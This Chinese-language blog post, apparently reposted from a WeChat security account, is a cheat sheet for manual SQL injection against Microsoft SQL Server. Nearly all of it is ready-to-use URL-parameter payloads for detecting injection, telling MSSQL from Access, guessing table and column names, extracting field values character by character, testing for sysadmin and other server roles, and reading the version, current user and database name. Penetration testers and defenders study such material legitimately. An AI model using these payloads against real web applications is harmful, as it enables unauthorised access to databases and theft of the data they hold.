MSSQL注入总结

admin 2021年12月22日19:31:44评论115 views字数 1319阅读4分23秒阅读模式

0x00 前言


之前所有的sql注入类型的博客都以mysql数据库为例子的,但是在最近实际的渗透测试中有时会遇到一些MSSQL的数据库,所以对MSSQL注入进行一次总结。

0x01 MSSQL

ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

0x02 MSSQL手工注入技巧

1.判断是否有注入

?id=1?id=1?id=1 and 1=1?id=1 and 1=2

2.判断是否是mssql

?id=1 and user>0

3.判断数据库系统

?id=1 and (select count(*) from sysobjects)>0   mssql?id=1 and (select count(*) from msysobjects)>0  access

4.查询当前用户数据信息

?id=1 having 1=1

5.猜表名

?id=1 and exists(select * from tablename)?id=1 and (Select Count(*) from [表名])>0

6.猜字段

?id=1 and (Select Count(字段名) from 表名)>0

7.暴当前表中的列

?id=1 group by admin.username having 1=1

8.猜字段中记录长度

?id=1 and (select top 1 len(字段名) from 表名)>0

9.猜字段中的ascii值

?id=1 and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access?id=1 and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mssql

10.测试权限结构(mssql)

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–

11.mssql内置函数

?id=1 and (select @@version)>0   获得Windows的版本号?id=1 and user_name()=’dbo’     判断当前系统的连接用户是不是sa?id=1 and (select user_name())>0  爆当前系统的连接用户?id=1 and (select db_name())>0   得到当前连接的数据库




扫描关注乌雲安全


MSSQL注入总结


觉得不错点个“赞”、“在看”哦MSSQL注入总结

本文始发于微信公众号(乌雲安全):MSSQL注入总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日19:31:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL注入总结http://cn-sec.com/archives/487524.html

发表评论

匿名网友 填写信息